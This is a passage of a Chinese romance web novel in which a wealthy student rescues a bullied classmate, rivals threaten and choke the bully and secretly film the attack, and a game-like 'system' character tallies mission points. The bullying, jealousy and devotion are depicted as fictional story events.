那些被侮辱践踏时他硬生生吞咽的冰碴,此刻全部化作对自己带刺的谩骂扎向太阳穴。“你也配耍脾气?他特地跑来救你,你哪里值得他这样做?那是唯一对你好的人了,你这是在做什么,犯贱也要有个度。” “你是想将他赶走吗,要惹得他也彻底厌烦你?” 程澈脑海中被无数的辱骂冲击,越骂他他越痛苦,越痛苦就越不清醒。剧痛从崩裂的嘴角漫向心脏,程澈像是在极度的崩溃下开启了自毁模式,他自暴自弃的用着此刻能发出的最大的声音:“我不去医院。” “我不去。”声音像生锈的刀片刮过铁板,他不断说着抗拒的话来挽救他那摇摇欲坠的自尊心。 朗月现扶在他肘弯处的手骤然收紧,程澈能听见自己的骨头在那些高高在上的权贵嘲弄的施舍下咯吱作响。 可当朗月现扶着他的手真的从他的胳膊上拿下去后,程澈意料之中却又无比痛苦。 在那仿佛被活活扯断心脏链接着身体的命脉一样的极度痛苦中,他忽然意识到这或许是自己最后一次触碰月亮的机会。 那双为他拭去血迹的手,解救了他整个悲惨人生的手,此刻将要毫不留情的从他的世界撤回。 程澈尝到了铁锈味的心甘情愿,他竟奇异的感受到了一种解脱。 可眼中的不知何时涌上的泪瞬间滑落下来,滚烫的泪水划过带伤的面颊,像是被粗糙的砂纸狠狠擦过,带来一阵麻痒的疼痛。 紧接着,自己的肩膀和腰却被牢牢控住了。程澈震惊的瞪大了肿胀的眼睛,不可置信的扭头看着只是单纯想换个姿势以便更好地支撑他站着的朗月现,带着无所谓语气的开口说道:“不去就不去吧,带你去医务室。” 程澈觉得自己此生所有的运气,就在这一刻耗尽了。 他看着浑然不觉自己带给了别人多大震撼的朗月现,满足的头晕目眩,清晰地听见自己以往将近二十年的悲惨人生正在血管里分崩离析。 他恍惚间觉得此刻或许不是在做梦,毕竟以他贫瘠的想象力应该是做不成这么美的美梦的。 朗秉白显然也震惊到了,他张了张嘴,却难得的卡了壳。 在朗月现就要带着程澈动身离开的时候,朗秉白终于找回了自己的声音,他伸手欲拦,脸上挂着僵硬的笑意,出声劝阻道:“还是去医院吧小月,毕竟有医生照顾会更好一些,你也累了一天了,该回家好好休息。” 朗秉白实在不想让这两个人再有任何的机会单独相处,他甚至试图以朗月现这位格外被看重的朋友角度着想为劝阻方向,好言相劝道:“最好全面检查一遍,以免有什么错漏,不是吗?” 朗月现也觉得去医院检查更安全一些,奈何程澈不知道犯的什么倔脾气,死活不愿意。他也没办法强求,只能拒绝他哥的好意:“没事,先去医务室包扎一下看看情况,不行的话我明天再带他去医院,别担心,哥。” 朗秉白:“……” 谁担心他了,朗秉白气到无话可说,正要再劝,张主任这时在一旁殷勤的接话说:没事的朗总,我们学校的医务室是二十四小时值班制,配备的校医也是有专业的医务工作证的,不会有什么大问题……结果在朗秉白投来的愈发不善的目光中声音越来越小,直到彻底闭上嘴站在一边低着头不敢吭声了。 朗秉白站在原地,看着那辆利落离开的柯尼塞格,脸上的表情彻底阴沉下来。 手机仍在不断震动,院长战战兢兢的汇报顺着电流声传来:“实在是不知道二少爷会突然过来视察,厄瓜多尔空运的玫瑰已经……” “不必了。”朗秉白低沉的声音此刻如同冰川碎裂。 他扯松领带,手机屏幕在男人持续握紧的重压下发出即将碎裂的悲鸣:“今晚事出紧急,我不计较。而你要做的,就是让小月下次推开任何一扇门时,”朗秉白盯着弟弟的尾灯消失的匝道尽头,极力压抑着暴怒的声音浸透每个字节,“从手术室到太平间,每个角落都开着朗二少喜欢的厄瓜多尔的玫瑰。” “不然,再有下次,你这个院长也不要干了。”—— 周闻铮微微垂着头看着手机上发来的消息,董其铭瘫在地上的剪影像条搁浅的翻车鱼。董家?那个西北油田的董家。 周闻铮了然的把手机放起来,抬手阻止了要把像条死狗一样趴在地上一动不动的董其铭拖走的保安。 外面的重要外宾都离开了,张主任擦着满脑门子的汗也走了进来,看着保安站着不动,满肚子的邪火顿时有了发泄之处:“干嘛呢!在这傻站着等着我干呢?学校请你们过来喝西北风来了,打个电话一请二请,磨磨叽叽都使唤不动,再这种工作态度我就让领导把你们请回家喝西北风!” 话音刚落,一旁突然传出了玩味的揶揄笑声:“好大的官威啊。” 张主任猛地打了一个哆嗦,周闻铮安安静静的站在那,也不说话也不动,差点让他忘了,这位更是个难伺候的主儿。 张主任只能再次调动了脸上的面部器官,小心的弯着腰,再次用阿谀奉承的油滑声音转向周家大少爷:“不好意思啊周少,他们确实工作上有所懈怠,我也只是稍微敲打他们一下,您别介意……” 周闻铮不耐烦的扬起手打断了他,指了指地上被托起双臂的董其铭:“你们走,这个人交给我。” 张主任一下卡了壳,他小心翼翼的想提醒一下周闻铮:“可是这是朗总点名要重点关照的……” 周闻铮脸上的笑一下子危险起来,他垂下头盯着那个因为他突如其来的凶恶眼神而瑟瑟发抖的胖男人:“怎么,他朗家大少爷要比我这个周家的高贵这么多吗?” 要的就是这句话!洗干净责任的张主任二话不说猛地转身,手一挥带着几名保安和剩下的帮凶,迅速的撤离了现场。 现场再次安静了下来,周闻铮从懒散的靠着门框的动作起身,走到心如死灰的董其铭身边,伸出脚踢了踢他的脑袋:“别装死。” 董其铭此刻心里只想着朗月现对他的态度,对比程澈的差别待遇,他连呼吸的动作都放慢了,只觉得满心痛苦的要炸了。 董其铭知道自己是个烂人,但是他从没如此真情实感的喜欢过这样的一个人。 他从未想过自己有一天也能为了一个人做那些他以前只觉得嗤之以鼻的傻事。只是学校论坛中有人发了一张疑似有朗月现出现的照片,他就像是检查自己最重要的参赛画作一般,仔仔细细的从一群模糊的人影中妄图找出自己最心心念念的那一个。 他也曾躲在美术教室的窗帘后,看着镜头里摇晃的光斑,企图再像上次偶遇的那样,用镜头捕捉到朗月现出现在人迹稀少的老校区的美术楼前,一等就是七八个小时。 他最引以为傲的水彩风景写生,已经全部变成了水彩肖像,水彩人体。他的所有构图,设计,创作,完全变成了那个他梦寐以求的身影。 他曾经在凌晨三点从几百个颜料混色中只为选出最合适好看的颜色去勾勒朗月现喉结的阴影,丙烯颜料在画布上凝结成他无比贪恋的肌理。 董其铭知道自己被惯坏了,是个不讨人喜欢,彻彻底底的烂人。但是当他剖出自己血淋淋的真心,如朝圣般小心翼翼的捧到那个人面前,想让他看一眼,哪怕就看一眼,他想对他说,这是他最干净的地方了,全部都是你的。 可那个人甚至不是他想象中的嗤之以鼻,出言嘲讽,而是完完全全的无视了。 董其铭突然克制不住的想笑,喉间涌上一股铁锈味,指甲深深扣紧地板中。原来最完美的嘲弄,是连他对其无理的亵渎都不屑一顾。 董其铭这才意识到,哪怕是跪在他面前像条狗一样摇尾乞怜,得到一声滚和一个响亮的巴掌,他都没有这个资格。 这简直比杀了他还难受,董其铭的烂人真心,终究还是彻底烂在自己肚子里了。 “呼吸轻点。”周闻铮忽然用鞋尖挑起董其铭的下巴,“你抖得比赌场里输光的瘾君子还厉害。”董其铭被迫看清了这个人的脸,是今晚那场满城闻名的盛大宴会上,非常出名的另一位主人公。 当董其铭看清了周闻铮看他的眼神后,心灰意冷的脸上表情突然扭曲起来,像是将今晚所有的委屈痛苦全部爆发出来一般的怒吼:“为什么你要用那种眼神看我,明明程澈才是那个连看他一眼都不配的该死的垃圾!” “为什么是我?!为什么你们都看不起我!为什么!” 董其铭在嘶喊中口中被打落的牙齿还在不断地往外喷溅血沫,周闻铮嫌弃的后退一步,看着自己名贵的皮鞋上被溅上的血迹。 “因为你是个蠢货。” 头顶上传来的声音让董其铭瞳孔骤然紧缩,他奋力从地上爬起来,抹了一把唇角的血,企图跟周闻铮对峙。却在下一秒便被那双手指宽大,骨节粗壮的手一把掐住了脖颈。 安全通道的红色应急灯在董其铭头顶投下血色光晕,他后背紧贴着冰凉的体育单杠,喉结在周闻铮指尖下艰难滚动。沾染上的威士忌热烈的辛辣气息在对方酒红色衬衫袖口渗出来,混着青柠罗勒尾调的香水味,织成一张窒息的网。 “这么点小事都做不好,”周闻铮的拇指突然卡住他喉管,“做事不干不净,自己手底下的人也管不住,还能走漏了消息。”冰冷的金属腕表擦过颈动脉,董其铭听见自己吞咽声在空荡器材室回响,“视频都能直接传到他的手机上。” 远处的玻璃映出董其铭因为窒息而扭曲的脸:“我没有……” 周闻铮加重了掌中的力道,满意的看着董其铭不断涨红的脸,恶狠狠的露出一个残忍的笑:“我想看的是完美意外,不是言情剧定情现场。” 在董其铭即将翻白眼晕过去的那一刻,他松开手,董其铭无力的靠着铁杆拼命喘息,周闻铮则慢条斯理用他的衣服擦拭手掌。 腕表蓝宝石镜面闪过冷光,照亮董其铭领口下深* 深的指痕,他声音无比嘶哑,努力解释道:“我明明计划好的,监控,地点,包括保安我都已经打点……” “计划到让朗月现冲进去英雄救美?”周闻铮忽然轻笑,皮鞋尖抵住对方膝窝,“多好的一场大戏啊,卑微可怜的受害者和一群这么典型又愚蠢的霸凌者,甚至周边还有我们这群旁观的观众。” 他俯身时威士忌的气息喷在董其铭耳后,“不留余力的引得朗月现对其心软,为他人作嫁衣裳。这场戏做的是真漂亮。” “让朗月现亲手把那只流浪狗捡回家,你真是最慷慨的慈善家。” 董其铭听了他的话,简直咬碎了一口牙,可奈何他无法反驳,只能硬生生将满心浓重的妒忌和苦楚咽了下去。 然后周闻铮接下来的话才是给了他致命一击。 “连夜滚出这所学校,从明天起,别再让我听到有关你的一点消息。” 董其铭表情逐渐僵硬,慢慢抬眸,连脸颊上的肌肉都在隐隐抽动。 “……凭什么?” “就凭你让我今晚非常不爽。”亲眼看见朗月现对旁人如此关心,周闻铮心里嫉妒得快要疯了,感觉自己再一次被那个心机死绿茶狠狠压了一头,心中烦闷更甚。 周闻铮嘴角漫不经心的微挑,眼神却没有丝毫笑意:“而老子偏偏有让你滚蛋的权利,你觉得呢,董氏油田?” 董其铭紧紧咬着牙,神情紧绷,呼吸沉重,额头也冒出一片细密的汗珠,再也没有之前飞扬跋扈,不可一世的嚣张气焰。 在国内的运输行业,周家是可以说是龙头老大,牢牢把控着这方面的经济命脉。他甚至不可避免的回想起,自己陪着父亲在酒局上,那个素来威严的男人正对周家产业下的一个运输总监谄笑:“我们家的油田质量是有目共睹的,您随时监控” 眼前那刺眼的红色应急灯管,投影在玻璃上的血红螺旋突然变成董家企业股权结构图。代表着周董两家合作的大批量合同订单,几乎占到董家的40%股份,会被周家无情蚕食,每个红点都标注着周氏控股子公司缩写。 他现在面对的可不是父亲阿谀奉承,谄媚讨好才能搞定的一个小小的运输总监,而是动动手指,就能取消合同,轻易毁了他们整个公司,毁了无数个靠着董家吃饭的家庭的周家继承人。 周闻铮通过商业合作死死捏住了董其铭命脉的底牌,解剖刀一般毫不留情的刺穿了董其铭的心理防线。 董其铭眼眶涨红,脸色惨白,神情颓然的站在那一动不动,犹如一只困兽。周闻铮转身时衣摆掀起的风像是狠狠地删了董其铭一巴掌,他的话传进董其铭嗡嗡作响的耳中,像是从某个极其遥远的地方传来的:“哦,还有一点,也让我很不爽。” “因为你跪在朗月现脚边的样子,比程澈还像条狗。” 第三十三章 您说我是您的狗,这句话还算数吗? 宋煜今晚的大多数时间都蹲在器材室后方的一片灌木丛旁, 这里有一处破败的比较严重的缝隙,借着树木和夜色的遮挡,可以从绝佳的角度观赏到室内发生的一切。 他的手指还停留在和朗月现的对话页面上轻轻叩击, 液晶屏幕的蓝光在他眼中流淌。 视频是宋煜在程澈被粗暴的拽进器材室时,他铤而走险在没有关好的门口拍摄的, 晃动的镜头中,程澈被逼着后退,被狠狠砸中膝盖跪倒在地的画面在手机冷光中格外清晰。 宋煜咬碎嘴里的薄荷糖,冰凉的甜意渗进齿缝,董其铭的跟班们发出刺耳的笑声,冰冷的器材室将回声挤压成尖锐的声音。 他按下发送键时指尖发烫, 门缝中的实时画面被打包成视频,精准投送到他早已背的滚瓜烂熟的朗月现的手机上。 朗月现如果不来最好, 如果来了,能亲眼看到程澈被刁难到跪地求饶的画面,足够让最圣洁的天使露出嫌恶的表情。 宋煜又想起自己刚完成的那副画作,只有黑白的油彩颜色中, 唯一的色彩是在教堂的玫瑰花窗下,被圣光照耀到的朗月现,脖颈扬起的线条圣洁地像是天使仰望天堂时圣洁的弧度。 太美了,宋煜在完成时呆呆的看了那幅画一整夜,满足得像是被朗月现亲身陪伴着过了这一夜一样。 “你猜阿月看到你这副样子,还会不会用那种眼神看着你?”宋煜对着屏幕喃喃自语。画面里董其铭正揪着程澈的头发往墙上撞,可那个家伙却沉默得让人心烦,死咬着下唇,连闷哼都吝啬给予施暴者。血珠顺着额角滑落时,他的眼睛亮得吓人, 像淬了火的刀。 机车的轰鸣声在夜色中炸响,宋煜猛地直起身。顺着缝隙中看去,朗月现的白衬衫被月光染成银色,他踹开门的动作带着罕见的暴戾。董其铭及其跟班们被他三下五除二的解决掉,他想象中朗月现看着脏污不堪的程澈,无比厌恶的画面并没有发生。 而是无奈却又温柔地蹲在程澈的面前,露出宋煜从未见过的神情,他昂贵的西装裤被程澈的血弄脏,轻声说话的声音简直像是在哄人,“你能不能别老给我惹事。” 那一瞬间,宋煜像是被人捏碎了藏在胸腔里的月亮。 周遭的空气突然变得粘稠,宋煜看着朗月现为了程澈动手将董其铭踩在脚下,同样被以各种极端手段霸凌过的宋煜并没有感到一丝的畅快,他胸口像是憋了一口气,死死的掐着手心,他止不住的干呕几声,像是觉得荒唐至极,整个人都在发抖。 宋煜瞥见自己扭曲的倒影在手机屏幕中呈现的无比疯狂,宋煜甚至想冲进去,他想问如果今天躺在地上的是他,今天被霸凌的人是他,你还会不会来救我,你能不能也露出同样妥协一般的温柔神情看我。 他觉得自己不能再待下去了,踉跄着从后方的灌木丛起身绕开前面越来越多的人群,从小路上溜走了。他脑海中还在还在循环播放朗月现看向程澈时,如同圣徒对罪人进行赦免那般柔软温和的眼神。 “我们慢慢来。”宋煜把手机收进贴身口袋,对着小道上空荡荡的校园低笑出声,眼睛却闪着歇斯底里的骇人的光,不断地呢喃着:“阿月总会明白,只有我才……”—— 医务室的日光灯管在头顶嗡嗡作响,消毒水的气味像蛛网粘在鼻腔里,程澈听见自己急促的抽气声,血痂黏着衣服剥离皮肤的刺痛突然变得清晰,混着朗月现身上传来的若有若无的味道。 程澈终于从混沌的沼泽里抓住了那缕玫瑰香味,他对那股味道很是熟悉,程澈曾经在兼职结束后的某一天进到了那家顶奢商场,虽然穿着普通,但胜在长得帅气乖巧,售货员姐姐还是很热情的为他介绍了那款朗月现常用的沐浴露的价格。 程澈最穷的时候,是他刚上初中的头一年,父母去了矿上打工,三个月没有音信,奶奶去外面捡废弃水瓶赖以为生,她不舍得吃喝,程澈只能将他自己每天的花销省下来留着给奶奶买饭吃,骗她说是学校发的。他甚至连中午去食堂买一个馒头,领一份免费的菜汤的钱都没有。 而他现在却做了一件,在回顾自己整个人生经历,显得格外大逆不道的事情。程澈花了自己省吃俭用攒下来整整三个月的兼职工资,买了店里最小的一瓶试用装沐浴露。 程澈将它藏在宿舍的枕头底下,金融系课程又多又复杂,程澈还要每天抽出时间去兼职,身心俱疲之下唯一的一点宽慰,就是回到宿舍,枕头下隐隐约约散发出一股和朗月现的味道很接近的玫瑰花香味。 而此刻他似乎嗅到自己偷藏的那瓶玫瑰香正在腐烂,就像是看清了他本来便不配的轻贱面目,隔着时空在他的伤口溃烂处发酵。 豆大的汗珠顺着程澈锋利的下颌滴落,砸进他赤裸着上身的颈窝中。 程澈能感受到朗月现在看他,但是程澈此时因为自己之前的无理取闹非常心虚,他胆怯的不敢对视,只敢盯着人家的衣服看。 程澈透过肿胀的眼睑看见朗月现挽起的衬衫袖口下小臂绷紧的肌肉线条,朗月现的衣服各处沾着不知道是谁的血。 这让他想起和周闻铮打球的那天,两个人无比可笑的企图用这种幼稚的方式去吸引心上人的注意力,对方就是像今天这样,稳稳的支撑着自己破败不堪的卑贱身体,一次又一次的救他于水火之中。 医生将医疗器具放进银色器皿中,叮当声像是把他破碎的尊严也扔了进去。 医生检查了他的全身,各处按压了一下,初步断定除了外伤,骨头应该没什么问题,但是膝盖可能有点受伤,需要静养,最好还是去正规医院做个具体检查,嘱咐完挂上药水后医生便退了出去。 程澈躺在病床上数着输液管坠落的血珠,第四十四滴时他听见对面皮质沙发摩擦的响动。 程澈整个人都绷紧了,这个动作让他全身重新疼痛起来,可是他没法控制,心里还想着刚刚对朗月现做的种种堪称无理取闹的可恶行为,他连对视都做不到。 即使朗月现现在要走,他也无力阻止。一想到朗月现会离开,程澈又难过委屈的开始细细颤抖。 “手。” 朗月现突然逼近的身影割碎了监护仪的蓝光,他挟着玫瑰气息压下来。程澈看着那只戴着翡翠扳指的手伸向自己脖颈,却在即将触碰时停住,原来目标是前方透明的流淌着药水的输液管,指尖悬停的阴影恰好笼住他突突跳动的颈动脉。 程澈想起那日在商场试香台前,售货员喷在试香纸上的香雾也是这样悬停在他面前,像片永远也落不到穷孩子肩上的雪。 “压到管子了,都回血了。”朗月现无奈的将被程澈无意识攥紧的可怜输液管从紧张到无措的手中解救出来,整理完后便直接坐在了刚刚医生坐的凳子上。 一下子靠得太近,程澈惶恐地瞪大双眼,左眼眶处的疼痛愈发明显,脊椎条件反射般绷直,身上缠着的绷带洇出新血。 他再次清晰的闻到了朗月现身上的香气,想想真是可笑,自己花了所有的钱换来的这么昂贵的味道,倒衬得他身上的洗衣粉味更加廉价。 监护仪发出急促的滴滴声,程澈用缠着绷带的手拽住床单。喉间血腥气翻涌,程澈在莫名眩晕中想起那些人在知道朗月现竟然会将目光投向他的时候,投来的那种眼神,那么的不屑,轻蔑,仿佛自己连成为他们的假想敌都不配。 而他们想错了吗,并没有。程澈本人都觉得自己毫无价值,连当条狗都只能当需要主人来救的狗,多么可笑,多么可悲,多么一无是处。 可是当看到朗月现真的出现他又是那么幸福,一次又一次的被那个人救赎,他难免地产生了强烈的依赖心理,一边幸福一边又惶恐不安,怕朗月现会在下一秒就丢掉那个毫无价值的他。 程澈就像只路边没用的弃犬一样,患得患失却又控制不住的对主人全身心的依恋。 “呼吸。” 冰凉指尖突然按在他因窒息涨红的脸上,程澈这才发现自己在憋气。朗月现的手指卡进他齿关,血腥味突然在口腔漫开。心电监护仪疯狂尖叫中,他听见对方像叹息般的低语:“心思不要那么重。” 连朗月现这么不敏感的人都看出来了,程澈今晚的反应很不对劲,平时脾气好到朗月现对他说一不二的软性子,此刻倒像是在跟谁较着劲般的置气。 不过被董其铭疯子一般的各种刁难纠缠,换成别人估计都要心理崩溃了,朗月现想了想便也理解了,他看着程澈的眼睛,认真地说道:“我会让他消失的。” 程澈在感受到自己又要哭了的时候已经晚了,他猛的扭过头不想让朗月现看见,眼泪却不争气的掉个不停。 程澈不知道自己是怎么了,从小就吃苦的人,长大了无论受了什么委屈,无论在谁的面前,他从来没哭过一次。 但是在这个自己最珍视的人面前,他却一而再的显露出自己脆弱不堪的那一面。 程澈羞愧难当的闭上了眼睛,下意识逃避被朗月现看着这一可悲又难堪的画面。 朗月现看着病床上细细颤抖的身体,沉默了片刻。再张口时莫名地下意识放轻了声音:“哪里痛吗?” 程澈突然从床上坐了起来,他动作不便,几乎是狼狈的滑到了地上,他觉得自己急切的扑向朗月现的姿势像极了乞食的流浪犬。 输液管被他扯得乱晃,伤口也因为剧烈的动作开始洇血,脖子上的勒痕在药效发挥作用下开始发痒,仿佛有虫子在啃食那句他即将要问出口,烙进骨髓的誓言。 “您说过” 喉结在纱布下滚动,程澈听见自己灵魂在牙关打颤的声音。他双膝跪在朗月现的面前,膝盖处传来剧烈的断裂一般的疼痛,但他全然不在乎,他专注的看着眼前的人,小心翼翼的问道,“您说我是您的狗,这句话还算数吗?” 第三十四章 这场精心计算的偶遇,我可以装作不知道 系统晃着小胖腿, 悠闲的在新换的最新款电竞椅上晃来晃去:“你说到底是怎么回事嘛,宿主。” 射箭馆的顶灯在弓弦上折出冷光,朗月现拉弓时肩胛骨形状漂亮的像一对蝶翼, 放箭时发梢被气流带起,他看着正中靶心的箭, 漫不经心地抽出新箭:“再说最后一次,去问你们老大。” 前段时间救出程澈的那晚,在医务室中,当遍体鳞伤的青年突然匍匐在地,用沙哑嗓音,满怀期待又小心翼翼的求证“我还能当您的狗吗”时, 朗月现还记得自己当时那颇有些难以言喻的心情。 朗月现当时沉思片刻,在脑海中问系统, “这是他主动要求的,对吧?”他的指尖无意识地在腿上轻轻敲击:“这种会影响任务进程的异常行为,你们不干涉吗?” 系统也被这些总是莫名其妙的小说主角搞得十分无语,它斟酌着开口:“我们老大的意思一直是尊重主角人格完整, 我估摸着,还是剧情作祟吧,毕竟这位主角攻在原书中这个时间段,确实当了宿主的狗。” 朗月现:“……” 他有点忘了当时具体回复了什么,好像是类似于:当我的狗,你得会咬人,这类的算是委婉拒绝的话。 那家伙的反应好像也挺奇怪的,看上去有些失落,却又好像想通了什么,在某个瞬间重新燃起某种偏执的火光, 颓丧了一整夜的眼睛都亮了。 朗月现起身离开时,那个好像有分离焦虑的家伙站也站不稳,一瘸一拐的非要跟着走,医生拦都拦不住,直到朗月现绷着脸扬言要武力镇压,才勉强将人留在了医务室里观察一夜。 他回到宿舍洗澡的时候,系统突如其来的海豚音尖叫给他吓得满头的泡沫来不及冲干净就差点冲出去,还以为又是谁出了什么马上要没命的紧急情况。 “暴富了宿主!”系统兴奋的小脸通红,捧着积分板来回刷新检查:“四十分!整整四十分!这简直够我们随意挑选各种道具外加无限个你爱吃的夹心草莓糖!” 朗月现:“……” 他默默扯开浴巾,又站回了淋浴底下:“说人话。” “你让我看看哈,咋这么多分呢?好吓人啊,穷统乍富我是真受不了。” “……解释。” 系统激动的整理着语言:“自从上次咱想尽办法主角受还是摔断了胳膊之后,我就没看过积分情况,刚刚我打游戏是手滑切换了页面,这才看到,宿主,咱有整整40分的积分啊啊啊啊啊!” 朗月现将自己冲干净,边拿着浴巾擦身子边问道:“很多吗?” “超多,一项任务根据难易程度的不同,完成所有关键节点才会获得满分100积分,原著重要节点每个值二十分,一般完成所有任务能获得80分就算很优秀了,咱们可是上来就拿到了40分……” 系统突然凝滞了一瞬,说完自己也开始纳闷,碎碎念道:“可是为什么呢,我们没有成功阻止既定情节的走向啊。” “主角受的胳膊还是因为宿主断的,主角攻也是因为宿主的潜在原因遭受的霸凌,这剧情走向和原文完全吻合啊……” 朗月现系浴袍的手顿了顿,水珠顺着锁骨滑进领口更深处,眼底泛出细微波澜,他沉思了片刻,半响后,轻声笑道:“这不是好事吗?” “我们努力的方向应该没错,或许有什么规则漏洞,主系统应该不会误判,毕竟它看起来比你靠谱的多。” 系统果然很容易便被转移了思绪,宿主话里话外嫌它不靠谱的话也没往心里去,满心都是被突然暴富充斥的惊喜:“没错没错,宿主说的对,最主要的是,咱们有钱啦!” 系统嘴里哼着自创不成调的“宝要给宿主买草莓糖~”的曲子,乖乖坐在一边选购去了。 朗月现夜深人静时躺在床上慢慢整理思路,原书的世界意志并未察觉任何特殊情况,说明故事是按照原书的既定剧情在走,而主系统的积分奖励也是实实在在到账了,他到现在还能听到系统各种付款成功的“叮”声。 所以说,虽然剧情发生是不可逆的,但是自己的出现确确实实改变了一些东西,而这个被改变的东西,是世界意志觉察不到的。 也就是说,只要能继续将这件世界意识觉察不到事情的发生维持下去,最后的必死结局就能顺利改变了。 可是……朗月现翻了个身,连他自己也丝毫没有头绪,这件不仅能躲开世界意志的追踪,还能使他们成功改变剧情的关键核心,到底是什么? 时间回到现在,任务积分和系统本身会获得的奖励是直接挂钩的,朗月现这边任务完成度越高,系统获得的奖励积分就越高。自从暴富之后,系统就用属于它自己的那一部分积分分成大买特买,各种游戏装备换了一套又一套。 系统显摆着自己被淡金数据海缠绕着的最新款神经接驳游戏机,感慨道:“要不说还是得跟对人啊,你看宝现在,跟对了宿主,这么高额的积分是一般统子能拿得到吗?” 它得意洋洋的转了个圈,在脑海中炸出漫天虚拟彩带,“就让它们羡慕去吧,这辈子也只有嫉妒能陪伴它们一生了,而宝不一样,宝有好多好多积分和我能干又貌美的宿主。” 这个穷人乍富的兴奋劲,朗月现这辈子也是难得的在自己脑海中体验到了,这几天这家伙就基本没闲下来过,他无奈的捏捏眉心,也不想打击正在兴头上的小东西,轻叹了口气:“去玩吧好吗,去玩吧。” 抱着最新款游戏的系统退下了,世界终于安静了。 玻璃幕墙外日光正盛,朗月现站在宽大的射箭道挽弓时,整个西侧场馆的光仿佛都聚在他腕间。 纯黑护胸勾勒出清瘦腰线,白色箭袖下小臂绷起流畅漂亮的肌肉线条,场馆内的松香混着箭尾白羽掠过的气流,扬起美人额间的碎发,许多人不由得驻足望着着令人屏息的一幕。 朗月现照例先用自己比较擅长的反曲弓热身,弓弦在冷白皮肤上摩出的红痕格外惹眼。朗月现皮肤太白,所以红的地方就格外显眼,尤其是当弓弦贴着他秾丽的红唇拉至满月,垂落的睫毛遮住了眼底流转的光。 碳纤维箭破空而出的刹那,场馆顶灯在他鼻梁投下一道冷光,箭簇穿透靶心的闷响惊起隔壁箭道女生的低呼。十环的红心又多了只颤动着的白羽箭,朗月现微微勾起一个意料之中的笑,潇洒又得意的姿态让人根本移不开眼。 “姿势太漂亮了……”前台新来的实习生咬着气泡水瓶口偷看,被经理用记分板轻敲后脑勺,“收收魂,好好工作,谁你都敢偷看,那可是朗家少爷。” 盛衍刚走进场馆,就听见经理教训人的话,颇为愉悦的想着今天是什么好日子,眉眼不由地弯起向场馆内看过去,人流视线交汇处,果然永远都是那个最惹眼的存在。 他看着朗月现正在调整护指,准备换弓。那人摘护目镜的动作像天鹅引颈,汗湿的碎发黏在玉雕似的冷白耳骨上,丝绸质地的白色箭袖滑落肘间,露出绷着淡青血管的结实小臂。 在盛衍目不转睛的视线中,朗月现恰好偏头咬住护指皮扣,殷红唇珠压着米白皮革,被汗水浸湿的锁骨窝盛着玻璃幕墙投进来晃动着的半汪光影。 盛衍突然觉得很渴,他喉结猛地滚动了几下,空气似乎都变得粘稠,不由得伸手解开衬衫领口最上方扣的整齐禁欲的纽扣,微微张开嘴,在周围莫名变得稀薄的空气中辅助呼吸。 旁边的工作人员递上复合弓,移动靶启动的嗡鸣中,朗月现侧身开弓。他向后舒展背肌准备搭箭,过长的眼睫尾部像青鸟的尾羽一般天然上挑,弓弦绞着透进来碎金般的光线贴近下颚。 器材管理员抱着替换的箭筒站到朗月现身边时,玻璃幕墙上清晰地映出朗月现背肌舒展成拉满的惊弓倒影。后腰衣摆随着拉弓的动作掀起半寸,那段雪一样白的腰线在黑色运动外衣的衬托下,恍若黑色刀刃上新开的雪。 在朗月现手中松开弓弦震颤的余韵里,盛衍只觉得那支箭瞄准箭靶的瞬间像是射在了自己的心头,激的他整个人猛地一颤。 盛衍分明的感知到,当那截带着漂亮腰窝的劲瘦弧度若隐若现时,整个射箭馆此起彼伏的落箭声都诡异地停顿了半拍。 “第三箭道客人续时三小时。”前台的对讲机传出轻颤的气音,新来的实习生盯着朗月现的身影都不舍得眨眼。她头都没转的向经理示意:“客人要求换到第六箭道,能行吗?” 经理张了张嘴还没出声,一旁突然传来一个听上去非常温柔但又不容质疑的声音:“不可以,那是我要去的位置。”—— 空调系统发出细微的白噪音,朗月现再一次松开弓弦时,箭尾羽毛擦过下颌带起一阵麻痒。三十米外的碳素箭靶轻微震颤,下一支箭堪堪扎进七环与八环交界处。 朗月现微微皱眉,他把手中的复合弓放下,正准备仔细查看一番,清冽的声线便在不远处响起。 “V形弓窗的准星调歪了。”温润的男声混着箭矢破空声传来,盛衍在相邻箭道调整护指皮扣,他微微笑着,那双凤眼细长而精致,眼尾自然平滑的上翘,在金丝眼镜后,深琥珀色的虹膜如被春日暖阳照耀的湖面,泛起温暖的涟漪,“好像是将弓弦放松了两圈。” 朗月现对于自己能在这个地方遇到熟人感到有些惊讶,他眯了眯眼睛,多看了盛衍一眼,但说实在的,想想盛衍也算是射箭爱好者,出现在这的理由也算是十分充分。 场馆内人很少,因为这个射箭俱乐部的入会条件非常严苛,每一处都流淌着真金白银浸润过的尊贵,专门服务于高端人群,所以能够格加入到这个场馆的人非富即贵。 朗月现看着不远处工作人员对盛衍殷勤热情的态度,意识到盛衍应该属于非常够格的那一类人。 朗月现一直不喜欢盛衍看他的眼神。 盛衍之所以在学校被称为盛神,除了他优越的外貌和非常拔尖的专业技能,还有一个很重要的原因,就是这个人没办法接触。 真正能接触到盛衍的人不算多,他一直喜欢独来独往,可但凡跟他在工作上,学习上有过任何近距离交流的人都会有同一个想法:盛衍是个非常有距离感的人。 他好像游离于这个世界之外,生理性的排斥这个世界的每一个人,但是不知道是不是处于一种从小养成的习惯,他似乎没办法将自己的真实想法暴露在人前,而被迫社交的后果,就是所有人都觉得盛衍不像个真实的人。 你看着他的表情是温柔的,是包容的,让人如沐春风,只觉得和他说话很舒服,但是回过头细想下,他的每一句话都在拒绝你。 那个微笑如同一个精雕的面具,弧度精准却缺乏真实情感的肌理颤动,就连目光都是程式化的关切。倾听回应时圆润妥帖,却总给人一种精密计算过的不真实感。 他跟所有的人都保持着精准的社交距离,一旦有人迈过了那个界限,盛衍内心的那股排斥几乎压制不住的会被人感受到,直到其退回到合理的心理防线外。 林小棠就属于这其中不怎么会看人脸色的类型,钝感力很强,大大咧咧,英姿飒爽,只要不耽误这位铁血女人的工作,她才懒得去顾及那些敏感的小心思。 可即使这样性格的林小棠也发现了,在学生会外出聚餐时,她就曾当众戳穿:盛衍这个人,表面的温柔就是他的高级防御机制,用他那种贵公子般无可挑剔的礼仪筑起高墙,既避免他人真正靠近,又维持着体面的社会形象,每个毛孔都散发着“请勿触摸”的静电,像只麻烦的猫。 在场人听到林小棠这毫不顾忌的一番话,都胆战心惊的将目光投向了安静坐在一旁的盛衍,当时满座噤若寒蝉,当事人却擎着清酒杯盏微笑颔首:“很精准的侧写。” 而这个将自己包裹成博物馆里永远隔绝着玻璃屏障的高贵雕像,疏离而又冷淡的家伙,偏偏看向朗月现时,眼睛里会有特别热烈的情绪。 